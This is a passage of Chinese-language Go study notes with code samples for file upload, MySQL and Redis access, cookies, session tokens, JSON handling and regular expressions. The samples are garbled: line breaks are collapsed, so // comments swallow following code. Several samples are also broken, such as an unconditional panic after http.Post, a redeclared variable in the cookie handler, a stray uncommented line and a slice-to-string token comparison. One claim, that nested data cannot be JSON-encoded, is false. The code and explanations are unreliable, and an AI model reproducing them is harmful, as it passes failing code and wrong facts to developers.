!= nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)}
}

通过上面的实例我们可以看到,上传文件主要三部处理

  1. 表单中增加enctype="multipart/form-data"
  2. 服务端调用rParseMultipartForm,把上传的文件存储在内存和临时文件中
  3. 使用r.FormFile获取文件句柄,然后对文件进行存储

文件的Handler时multipart.FileHeader,里面存储了如下结构信息

type FileHeader struct {Filename stringHeader   textproto.MIMEHeader// contains filtered or unexported fields
}

使用go作为客户端,来上传文件

下面展示了客户端如何向服务器上传一个文件的例子,

客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用httpPost方法把缓存传到服务器。

如果要添加更多字段,如:username之类的要同时写入,可以调用multipartWriteField方法添加字段。

package mainimport ("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os"
)//上传函数
//下面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。
func uploadFile(filename string, targetUrl string) error {//创建控件bodyBuf := &bytes.Buffer{}//创建一个可写入资源,吐槽一下,multipart这个包,设计的太二笔了...bodyWrite := multipart.NewWriter(bodyBuf)//从文件中读取数据, 创建表单文件名fileWrite, err := bodyWrite.CreateFormFile("uploadfile", filename)if err != nil {return err}//打开文件,.open的形式打开,只能用作读取fh, err := os.Open(filename)if err != nil {return err}defer fh.Close()//ioCopy,从fh复制到fileWrite,直到到达EOF或发生错误,返回拷贝的字节喝遇到的第一个错误._, err = io.Copy(fileWrite, fh)if err != nil {return err}//返回http的请求需要的类型contentType := bodyWrite.FormDataContentType()bodyWrite.Close()//开始上传response, err := http.Post(targetUrl, contentType, bodyBuf)panic(err)if err != nil {return err}defer response.Body.Close()responseBody, err := ioutil.ReadAll(response.Body)if err != nil {return err}fmt.Println(response.Status)fmt.Println(string(responseBody))return nil
}func main() {targetUrl := "http://localhost:999/upload"//filename := "/Users/liuhao/Desktop/arraycomslice.png"filename := "/Users/liuhao/Documents/图/0BC4C4D581D1895A6BD859FDE53FE72A.jpg"result := uploadFile(filename, targetUrl)fmt.Println(result)}

数据库操作

Go没有内置的驱动支持任何的数据库,但是Go定义了database/sql接口,我们可以基于驱动接口开发相应数据库的驱动.

Go database/sql tutorial 文档,提供了惯用的范例及详细的说明

database/sql接口

sql.Register 注册数据库驱动

使用MySQL数据库

目前go中支持MySQL的驱动,特别多.不过都是第三方提供的.毕竟官方只提供了基础驱动.

有的是用的官方驱动的封装,而有的则是实现了自己的接口

当前比较流行的有下列三种:

  • https://github.com/go-sql-driver/mysql 支持database/sql,全部采用go写。
  • https://github.com/ziutek/mymysql 支持database/sql,也支持自定义的接口,全部采用go写。
  • https://github.com/Philio/GoMySQL 不支持database/sql,自定义接口,全部采用go写。

下面主要是用第一种为例来讲解,推荐以后也用这个,因为:

  • 这个驱动比较新,维护的比较好
  • 完全支持database/sql接口
  • 支持keepalive,保持长连接,mymysql也支持keepalive,但不是线程安全的,这个从底层就支持了keepalive。

安装方式:

go get -u -v github.com/go-sql-driver/mysql
#可以安装gopm,使用gopm来安装
gopm get -u -v -g github.com/go-sql-driver/mysql

准备SQL语句

CREATE DATABASE `test` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;CREATE TABLE `userinfo` (`uid` INT(10) NOT NULL AUTO_INCREMENT,`username` VARCHAR(64) NULL DEFAULT NULL,`department` VARCHAR(64) NULL DEFAULT NULL,`created` DATE NULL DEFAULT NULL,PRIMARY KEY (`uid`)
);CREATE TABLE `userdetail` (`uid` INT(10) NOT NULL DEFAULT '0',`intro` TEXT NULL,`profile` TEXT NULL,PRIMARY KEY (`uid`)
);

database/sql操作MySQL数据的案例

package mainimport ("database/sql""fmt"_ "github.com/go-sql-driver/mysql"
)func checkErr(err error) {if err != nil {panic(err)}}func addUserInfo() {//连接MySQL, 第一个参数是数据库类型,第二个是数据连接方式,里面的()括号是必须的,没有密码就留空,格式为:用户:密码@tcp(链接:端口)/数据库名称?charset=utf8db, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼装SQLstmt, err := db.Prepare("insert userinfo set username=?, department=?,created=?")checkErr(err)//填充数据,执行操作res, err := stmt.Exec("nihao", "开发部", "2017-01-01")checkErr(err)//返回插入的IDid, err := res.LastInsertId()checkErr(err)fmt.Println("插入数据返回的ID:")fmt.Println(id)
}func modifyUserInfo(uid string) {//连接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼装SQLstmt, err := db.Prepare("update userinfo set username=? where uid=?")checkErr(err)//修改数据res, err := stmt.Exec("shaKaLaKa", uid)checkErr(err)//获取受影响行数affect, err := res.RowsAffected()checkErr(err)fmt.Println("修改数据的受影响行数:")fmt.Println(affect)
}func getUserInfo() {//连接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼装SQLrows, err := db.Query("select * from userinfo")checkErr(err)//遍历结果集for rows.Next() {var uid intvar username stringvar department stringvar created stringerr = rows.Scan(&uid, &username, &department, &created)checkErr(err)fmt.Println("查询数据的结果集:")fmt.Println(uid, username, department, created)}
}func delUserInfo(uid string) {//连接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼装SQLstmt, err := db.Prepare("delete from userinfo where uid=?")checkErr(err)//执行SQLres, err := stmt.Exec(uid)//获取受影响行数affect, err := res.RowsAffected()checkErr(err)fmt.Println("删除数据时返回的受影响行数")fmt.Println(affect)db.Close()
}func transactionDel(uid string) {//连接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//开启事务tran, err := db.Begin()checkErr(err)res, err := tran.Exec("delete from userinfo where uid=?", uid)if err != nil {tran.Rollback()panic(err)}//获取受影响行数affect, err := res.RowsAffected()checkErr(err)//提交事务tran.Commit()//tran.Rollback()fmt.Println(affect)
}
func main() {uid := "3"addUserInfo()modifyUserInfo(uid)getUserInfo()//delUserInfo(uid)transactionDel(uid)}

上面用到的几个函数:

  • sql.Open()函数用来打开一个注册过的数据库驱动,go-sql-driver中注册了mysql这个数据库驱动, 第二个参数是DSN(Data Source Name),它是go-sql-driver定义的一些数据库链接和配置信息
user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
  • db.Prepare()函数用来返回准备要执行的sql操作,然后返回准备完毕的执行状态。
  • db.Prepare()带的?和PHP的pdo中的预处理一样,一定程度上课防止SQL注入.
  • db.Query()函数用来直接执行Sql返回Rows结果。
  • stmt.Exec()函数用来执行stmt准备好的SQL语句

使用NOSQL数据库

Redis

Go目前支持redis的驱动有如下

  • go get github.com/gomodule/redigo/ (推荐)
  • https://github.com/go-redis/redis
  • https://github.com/hoisie/redis
  • https://github.com/alphazero/Go-Redis
  • https://github.com/simonz05/godis

redisgo驱动操作案例

go get -v -u go get github.com/gomodule/redigo/redis

这个操作方式太过复杂,全程使用连接池操作

package mainimport ("fmt""github.com/gomodule/redigo/redis""os""syscall""time""os/signal"
)var Pool *redis.Poolfunc init() {redisHost := "www.cetest.com:6379"Pool = newPool(redisHost)closeConnect()
}//重写自带的连接池
func newPool(server string) *redis.Pool {return &redis.Pool{MaxIdle:     3, //最大空闲连接数IdleTimeout: 240 * time.Second,    //最大空闲等待时间Dial: func() (redis.Conn, error) {c, err := redis.Dial("tcp", server)if err != nil {return nil, err}return c, err},TestOnBorrow: func(c redis.Conn, t time.Time) error {_, err := c.Do("PING")return err},}
}//重写自带的关闭方法
func closeConnect() {c := make(chan os.Signal, 1)signal.Notify(c, os.Interrupt)signal.Notify(c, syscall.SIGTERM)signal.Notify(c, syscall.SIGKILL)go func() {<-cPool.Close()os.Exit(0)}()
}
//重写自带的连接方法
func Get(key string) ([]byte, error) {conn := Pool.Get()defer conn.Close()var data []bytedata, err := redis.Bytes(conn.Do("GET", key))if err != nil {return data, fmt.Errorf("error get key %s:%v", key, err)}return data, err
}func main() {test, err := Get("test")fmt.Println(test, err)
}

redigo官方提供的调用方式

package mainimport ("fmt""github.com/gomodule/redigo/redis""reflect"
)func checkErr(err error) {if err != nil {fmt.Println(err)panic(err)}
}var conn redis.Connfunc init() {//连接到Redis,网络连接方式,连接地址,选择库号connect, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))checkErr(err)conn = connect
}func set(key string, value string) bool {//连接到Redis,网络连接方式,连接地址,选择库号//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//设置数据_, err := conn.Do("set", key, value)checkErr(err)//关闭连接return true
}func get(key string) string {//连接到Redis//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//获取数据result, err := redis.String(conn.Do("get", key))checkErr(err)//关闭连接reflect.TypeOf(result)return result
}func expire(key string, expire int) bool {//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)result, err := conn.Do("expire", key, expire)checkErr(err)//这里因为result默认是一个interface,所以下面用了断言,来判断是不是一个Int//但是当result为Int的时候,返回的是一个int64value, ok := result.(int64)fmt.Println(ok)if ok {if value <= 0 {return false}}reflect.TypeOf(result)return true
}func mGet(keys ...interface{}) {fmt.Println(reflect.TypeOf(keys))//这里的这个Keys后面必须要有..., 这三个点,代表将keys打散传入,没有三个点,代表传入一个集合//比如下面这个args{},如果要当做多个参数同时传入,就必须要在后面加...否则就是一个参数//var args= []interface{}{// "name",//   "sex",//}result, err := redis.Strings(conn.Do("mget", keys...))checkErr(err)res_type := reflect.TypeOf(result)fmt.Printf("res type : %s \n", res_type)fmt.Printf("MGET name: %s \n", result)//return result
}func lpush(values ...interface{}) {_, err := conn.Do("lpush", values)checkErr(err)fmt.Println("lpush ok")
}func lpop(key string) {result, err := redis.String(conn.Do("lpop", key))checkErr(err)fmt.Printf("%s", result)fmt.Println("lpop ok")reflect.TypeOf(result)
}func hset() {_, err := conn.Do("hset", "student", "name", "wd", "age", 22)checkErr(err)fmt.Println("hset ok")}func hget() {result, err := redis.Int64(conn.Do("hget", "student", "age"))checkErr(err)fmt.Printf("%s", result)fmt.Println(reflect.TypeOf(result))
}func main() {defer conn.Close()//println(set("name", "ssss"))//println(set("sex", "1111"))//println(get("name"))//println(expire("name", 2))//mGet("name", "sex")}

管道

管道操作可以理解为并发操作,并通过Send(),Flush(),Receive()三个方法实现。

客户端可以使用send()方法一次性向服务器发送一个或多个命令, 命令发送完毕时,

使用flush()方法将缓冲区的命令输入一次性发送到服务器,

客户端再使用Receive()方法依次按照先进先出的顺序读取所有命令操作结果。

  • Send:发送命令至缓冲区
  • Flush:清空缓冲区,将命令一次性发送至服务器
  • Recevie:依次读取服务器响应结果,当读取的命令未响应时,该操作会阻塞。
package mainimport ("fmt""github.com/gomodule/redigo/redis""reflect"
)var conn redis.Conn//管道
//管道操作可以理解为并发操作,并通过Send(),Flush(),Receive()三个方法实现。
// 客户端可以使用send()方法一次性向服务器发送一个或多个命令,
// 命令发送完毕时,使用flush()方法将缓冲区的命令输入一次性发送到服务器,客户端再使用Receive()方法依次按照先进先出的顺序读取所有命令操作结果。
//Send:发送命令至缓冲区
//Flush:清空缓冲区,将命令一次性发送至服务器
//Recevie:依次读取服务器响应结果,当读取的命令未响应时,该操作会阻塞。func init() {//连接到Redis,网络连接方式,连接地址,选择库号connect, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))checkErr(err)conn = connect
}func pipelin() {conn.Send("HSET", "student", "name", "wd", "age", "22")conn.Send("HSET", "student", "Score", "100")conn.Send("HGET", "student", "age")conn.Flush()res1, err := conn.Receive()checkErr(err)fmt.Printf("Receive res1:%v \n", res1)res2, err := conn.Receive()fmt.Printf("Receive res2:%v\n", res2)res3, err := conn.Receive()fmt.Printf("Receive res3:%s\n", res3)
}func main() {defer conn.Close()//redis管道pipelin()}

事务操作

MULTI, EXEC,DISCARD和WATCH是构成Redis事务的基础,可以通过管道功能来使用这些命令

  • MULTI:开启事务
  • EXEC:执行事务
  • DISCARD:取消事务
  • WATCH:监视事务中的键变化,一旦有改变则取消事务。
package mainimport ("github.com/gomodule/redigo/redis""fmt"
)func main() {conn, err := redis.Dial("tcp", "127.0.0.1:6379")if err != nil {fmt.Println("connect error :", err)return}defer conn.Close()conn.Send("MULTI")conn.Send("INCR", "aa")conn.Send("INCR", "aa")r, err := conn.Do("EXEC")fmt.Println(r)
}

连接池

redis连接池是通过pool结构体实现的,下面是对源码一点参数添加注释:

  • Dial func() (Conn, error) //连接方法
  • MaxIdle int //最大的空闲连接数,即使没有redis连接时依然可以保持N个空闲的连接,而不被清除,随时处于待命状态
  • MaxActive int //最大的激活连接数,同时最多有N个连接
  • IdleTimeout time.Duration //空闲连接等待时间,超过此时间后,空闲连接将被关闭
  • Wait bool //当配置项为true并且MaxActive参数有限制时候,使用Get方法等待一个连接返回给连接池
package mainimport ("github.com/gomodule/redigo/redis""fmt"
)var Pool redis.Poolfunc init() {Pool = redis.Pool{MaxIdle:     16,  //最大空闲连接数MaxActive:   32,  //最大的激活连接数IdleTimeout: 120, //空闲连接等待时间//连接方法Dial: func() (redis.Conn, error) {return redis.Dial("tcp", "127.0.0.1:6379")},}
}func main() {//通过连接池发起连接conn := Pool.Get()//执行Redis命令res, err := conn.Do("set", "name", "nihao")//打印结果fmt.Println(res, err)//执行Redis命令result, err := redis.String(conn.Do("get", "name"))fmt.Printf("%v", result)}

session处理

操作cookie

原理什么的就不说了,没什么好说的.

go设置cookie

通过使用net/http包中的SetCookie来设置

http.Setcookie(w ResponseWriter, cookie *Cookie)

上面的w需要写入一个response,cookie是一个struct,下面是cookie对象结构

type Cookie struct {Name       stringValue      stringPath       stringDomain     stringExpires    time.TimeRawExpires string// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in secondsMaxAge   intSecure   boolHttpOnly boolRaw      stringUnparsed []string // Raw text of unparsed attribute-value pairs
}

操作cookie的案例

http://localhost:999/setcookie?name=aaa&value=111

http://localhost:999/getcookie?name=aaa

http://localhost:999/gettotalcookie

package mainimport ("fmt""net/http""time"
)//设置cookie
func setCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringvar value stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}if len(r.Form["value"]) > 0 {value = r.Form["value"][0]}fmt.Printf("%v---%T\n", name, name)fmt.Printf("%v---%T\n", value, value)//获取当前时间格式 2017-07-26 15:32:04.251666 +0800 CST m=+5.348925672expiration := time.Now()fmt.Println(expiration)//在原来的基础上增加一年,这个连在一起写就明白了expiration := time.Now().AddDate(1, 0, 0)expiration = expiration.AddDate(1, 0, 0)fmt.Println(expiration)cookie := http.Cookie{Name: name, Value: value, Expires: expiration}http.SetCookie(w, &cookie)fmt.Fprint(w, "this is set cookie")
}//获取cookie
func getCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}fmt.Println(name)cookie, _ := r.Cookie(name)fmt.Fprint(w, "get cookie", "\n", cookie)
}//获取所有的cookie
func getTotalCookie(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "get total cookie\n")for _, v := range r.Cookies() {fmt.Fprint(w, v.Name, "---", v.Value)}}func main() {http.HandleFunc("/setcookie", setCookie)http.HandleFunc("/getcookie", getCookie)http.HandleFunc("/gettotalcookie", getTotalCookie)err := http.ListenAndServe(":999", nil)if err != nil {panic(err)}}

操作session

目前GO没有针对session的包,只能自己来做

//todo

防止session被劫持

  • sessionID的值只允许cookie设置
  • 禁止URL重置方式设置sessionID
  • cookie的httponly为true,可以禁止其它人在浏览器获取到该cookie信息

在页面中添加隐藏字段,存储token,每次提交都重新验证该token

h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{//提示登录
}
sess.Set("token",token)

文本文件处理

XML处理

//todo

JSON处理

解析JSON的时候要主要JSON的字段类型,建议直接和对方约定全部使用字符串.

go的JSON包中的这个函数可以将JSON转换为map,interface,结构体

func Unmarshal(data []byte, v interface{}) error

go的JSON包中的这个函数可以将结构体生成JSON

主要: Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点:

  • JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型)
  • Channel, complex和function是不能被编码成JSON的
  • 嵌套的数据是不能编码的,不然会让JSON编码进入死循环
  • 指针在编码的时候会输出指针指向的内容,而空指针会输出null
func Marshal(v interface{}) ([]byte, error)

将JSON解析到结构体

这种方式,必须要事先知道JSON的所有字段才行.因为要先定义结构体

package mainimport ("encoding/json""fmt"
)type Server struct {ServerName stringServerIP   string
}type ServersLice struct {Servers []Server
}func main() {//解析json到结构体中,这种情况需要事先知道JSON的所有字段var s ServersLicestr := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`//该函数可以解析json字符串到变量s中,这里的变量s是一个结构体json.Unmarshal([]byte(str), &s)fmt.Println(s)fmt.Println(s.Servers[0].ServerName)fmt.Println(s.Servers[0].ServerIP)}

解析到interface

这种方式不需要知道JSON的所有字段,利用interface{}可以用来存储任意数据类型的对象的特性

JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组

Go类型和JSON类型的对应关系如下:

  • bool 代表 JSON booleans,
  • float64 代表 JSON numbers,
  • string 代表 JSON strings,
  • nil 代表 JSON null.
package mainimport ("encoding/json""fmt""reflect"
)func main() {//如果不知道JSON内部的数据类型,就只能将JSON解析为接口了//因为interface{}是可存储任意类型的//Go类型和JSON类型的对应关系如下://bool 代表 JSON booleans,//float64 代表 JSON numbers,//string 代表 JSON strings,//nil 代表 JSON null.//b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)//声明一个接口var f interface{}//将JSON解析到接口中,,所谓接口err := json.Unmarshal(b, &f)if err != nil {panic(err)}fmt.Println("打印F",f)//必须通过断言的方式将interface赋值,然后才能使用m := f.(map[string]interface{})//因为JSON是有很多类型,比如可能是int也有可能是字符串,如果直接用下标取值的话我们会因为不知道数据类型出错//所以我们通过下面的形式来遍历一遍for k, v := range m {switch vv := v.(type) {case string:fmt.Println(k, "is string", vv)case int:fmt.Println(k, "is int", vv)case float64:fmt.Println(k, "is float64", vv)case []interface{}:fmt.Println(k, "is array")for i, j := range vv {fmt.Println(i, j)}default:fmt.Println(k, "不知道是什么类型")}//打印数据类型fmt.Println(reflect.TypeOf(m))//直接取值,可能会造成变量类型有误而出错,但是如果和对方商量好的话,是没问题的fmt.Println(m["Name"])}
}

将JSON解析到map中,和interface一样

package mainimport ("fmt""encoding/json"
)func main() {b := []byte(`{"IP": "127.0.0.1", "name": "sss"}`)m := make(map[string]string)//将JSON解析到map中err := json.Unmarshal(b, &m)if err != nil {panic(err)}fmt.Println("m:", m)for k, v := range m {fmt.Println(k, ":", v)}//直接取值,可能会造成变量类型有误而出错,但是如果和对方商量好的话,是没问题的fmt.Println(m["IP"])}

生成JSON

主要是将结构体解析成JSON

从结构体生成的JSON有一个问题,JSON数据内的所有字段名都是首字母大写的,这是因为我们的机构提是首字母大写的,而如果你不是大写的在go就是私有属性了.

如果想要用小写,必须要在结构体的属性上加上struct tag

注意: 在使用struct tag的时候要注意:

  • 字段的tag是"-",那么这个字段不会输出到JSON ta- g中带有自定义名称,那么这个自定义名称会出现在JSON的字段名中,例如上面例子中serverName
  • tag中如果带有"omitempty"选项,那么如果该字段值为空,就不会输出到JSON串中
  • 如果字段类型是bool, string, int, int64等,而tag中带有",string"选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串

主要: Marshal函数只有在转换成功的时候才会返回数据,在使用时要注意:

  • JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型)
  • Channel, complex和function是不能被编码成JSON的
  • 嵌套的数据是不能编码的,不然会让JSON编码进入死循环
  • 指针在编码的时候会输出指针指向的内容,而空指针会输出null
package mainimport ("encoding/json""fmt""os"
)type Server struct {ServerName stringServerIP   string
}type ServerSlice struct {Servers []Server
}type Server1 struct {//tag的作用//如果一个域不是以大写字母开头的,那么转换成json的时候,这个域是被忽略的。//如果没有使用json:"name"tag,那么输出的json字段名和域名是一样的。//字段的tag是"-",那么这个字段不会输出到JSONID int `json:"-"`// ServerName2 的值会进行二次JSON编码ServerName  string `json:"serverName"`ServerName2 string `json:"serverName2,string"`//tag中如果带有"omitempty"选项,那么如果该字段值为空,就不会输出到JSON串中ServerIP string `json:"serverIP,omitempty"`
}func main() {//为结构体赋值,该结构体中的变量Servers,将成为JSON的一个下标var s ServerSlice//向结构体追加新的数据,因为是对s.Servers进行append,所以新的数据将作为s.Servers的值s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})//再次追加数据s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})//将结构体生成为JSONb, err := json.Marshal(s)if err != nil {fmt.Println("json err:", err)}fmt.Println(string(b))//输出结果{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}//上面的方式生成的JSON的数据只能是大写开头的,要想生成全小写必须要使用struct tags1 := Server1{ID:          3,ServerName:  `Go "1.0" `,ServerName2: `Go "1.0" `,ServerIP:    ``,}b1, _ := json.Marshal(s1)os.Stdout.Write(b1)//{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}}

正则处理

go的正则表达式和其他语言的有所不同,特别是和PHP的不同,因为go使用的时RE2标准

如果们可以使用strings包来进行搜索(Contains、Index)、替换(Replace)和解析(Split、Join)等操作,尽量不要用正则

简单的案例

package mainimport ("fmt""regexp"
)const text = `
My email is terraplanets@gmail.com
email is aaa@aaa.com
email is ss@sss.com
email is dd@dd.com.cn
`func main() {//这里填入一个正则表达式,返回一个正则表达式的匹配器,和错误信息//re, err := regexp.Compile("terraplanets@gmail.com")//这里和上面的一样,不一样的地方在于,如果表达式不对,会直接panic 一般自己写的表达式用MustCompile(),否则用Compile()处理错误信息//re := regexp.MustCompile("terraplanets@gmail.com")//这里的如果要匹配'.',不把他当做一个正则表达式字符的话需要用\\.,否则会被认为是golang的转义字符,也可以向下面那样使用``包含字符串//中括号的中'.'不用转义之类的操作//re := regexp.MustCompile("[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9.]+")//re := regexp.MustCompile(`[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z0-9.]+`)//子匹配re := regexp.MustCompile(`([a-zA-Z0-9]+)@([a-zA-Z0-9]+)(\.[a-zA-Z0-9.]+)`)//输入原字符串,在源字符串中,通过正则表达式获取符合要求的字符串//只匹配第一个,返回一个string//match := re.FindString(text)//匹配所有,返回一个list//match := re.FindAllString(text, -1)//子匹配,匹配()中的内容,返回一个二维的list,第二维里面第一个是匹配到的整个字符串,第二个是第一个(),第三个是第二给(),以此类推match := re.FindAllStringSubmatch(text, -1)//fmt.Println(match)for _, m := range match {fmt.Println(m)}
}

通过正则判断是否匹配

regexp包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false

下面的三个参数功能一样,就是判断pattern是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。

三个函数没有不同,唯一的不同是输入源分别是byte slice、RuneReader和string。

func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)

案例,判断输入的是否是一个IP地址

这里用,Match(Reader|String)来判断一些字符串,非常好用非常简单

package mainimport ("fmt""os""regexp"
)func main() {//判断命令行输入的参数,需要通过这种方式运行,go run ./match.go 1111 不能用IDE直接运行,否则会没有参数if len(os.Args) == 1 {fmt.Println("请输入参数")os.Exit(1)} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {fmt.Println("数字")} else {fmt.Println("不是数字")}MatchString判断输入的字符串是否符合标准var ip string = "127.0.0.1"//var ip string = "127.0.0.1.11"//if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {// fmt.Println("IP地址有误")//} else {//   fmt.Println("IP地址正确")//}
}

通过正则替换内容

上面的match只能用来验证是否存在,不能用来获取字符串

要获取字符串要用到replace相关的正则函数

首先要使用regexp.Compile()编译正则表达式,但这不是必须的,不过这样可以加快运行速度

编译正则表达式有下面几个方法:

一般我们只用Compile

//CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,Linux/Unix下用的POSIX语法
//前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误
func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp

替换案例

package mainimport ("fmt""io/ioutil""net/http""regexp""strings"
)//这里来一个简单的小爬虫
func main() {//请求页面response, err := http.Get("http://www.baidu.com")if err != nil {panic(err)}//关闭资源defer response.Body.Close()//获取页面内容body, err := ioutil.ReadAll(response.Body)if err != nil {panic(err)}//将body转换为字符串content := string(body)//将所有的HTML转换为大写re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")//ReplaceAllStringFunc可以接受一个回调函数进去src := re.ReplaceAllStringFunc(content, strings.ToUpper)fmt.Println(src)//去掉scriptre, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")//ReplaceAllString不接收回调函数,只能纯粹的替换src1 := re.ReplaceAllString(content, "")fmt.Println(src1)//去掉stylere, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src2 := re.ReplaceAllString(content, "")fmt.Println(src2)//去除所有尖括号内的HTML代码,并换成换行符re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")src3 := re.ReplaceAllString(content, "\n")fmt.Println(src3)//去除连续的换行符re, _ = regexp.Compile("\\s{2,}")src4 := re.ReplaceAllString(content, "\n")fmt.Println(src4)}

通过正则查找内容

常用查找函数

下面所有函数返回的都是utf8的编号,需要string()来转换

//查找匹配到的第一个
func (re *Regexp) Find(b []byte) []byte
//返回一个多维数组,查找符合正则的所有的slice,n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度
func (re *Regexp) FindAll(b []byte, n int) [][]byte
//返回一个多维数组,查找符合条件的所有内容的下标,返回开始和结束位置的一个slice
//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
//查找所有符合条件的子匹配,返回一个多维数组
//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
//查找所有符合条件的子匹配的index下标,返回一个多维数组
//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
//查找符合条件的内容的的index下标,返回开始位置和结束位置的一个slice
func (re *Regexp) FindIndex(b []byte) (loc []int)
//返回一个多维数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的
func (re *Regexp) FindSubmatch(b []byte) [][]byte
//查找符合条件的内容的子匹配的的index下标,不过这里是匹配()内的,返回开始位置和结束位置的一个slice
func (re *Regexp) FindSubmatchIndex(b []byte) []int

匹配案例

package mainimport ("fmt""regexp"
)func main() {str := "we are chinese"//编译正则表达式re, _ := regexp.Compile("[a-z]{2,4}")//查找第一个匹配的one := re.Find([]byte(str))fmt.Println(string(one)) //如果不用string()会输出utf8编号,find正则返回的都是utf8编号//返回一个多维数组,查找符合正则的所有的slice,n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度all := re.FindAll([]byte(str), -1)fmt.Println(all) //因为返回的时一个slice,所以不能用string()了,想转换到话,需要遍历或者用下标//查找符合条件的内容的的index下标,返回开始位置和结束位置的一个sliceindex := re.FindIndex([]byte(str))fmt.Println(index)//返回一个多维数组,查找符合条件的所有内容的下标,返回开始和结束位置的一个slice//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度allIndex := re.FindAllIndex([]byte(str), -1)fmt.Println(allIndex)//重新编译一个新的正则表达式re1, _ := regexp.Compile("we(.*)ch(.*)")//返回一个多维数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的submatch := re1.FindSubmatch([]byte(str))fmt.Println(submatch)//查找符合条件的内容的子匹配的的index下标,不过这里是匹配()内的,返回开始位置和结束位置的一个slicesubmatchindex := re1.FindSubmatchIndex([]byte(str))fmt.Println(submatchindex)//查找所有符合条件的子匹配,返回一个多维数组//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度submatchall := re1.FindAllSubmatch([]byte(str), -1)fmt.Println(submatchall)//查找所有符合条件的子匹配的index下标,返回一个多维数组//n小于0标识返回全部符合条件的内容的一个slice,否则返回指定的长度submatchallindex := re1.FindAllSubmatchIndex([]byte(str), -1)fmt.Println(submatchallindex)
}

该函数主要用对内容做追加补充

func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
package mainimport ("fmt""regexp"
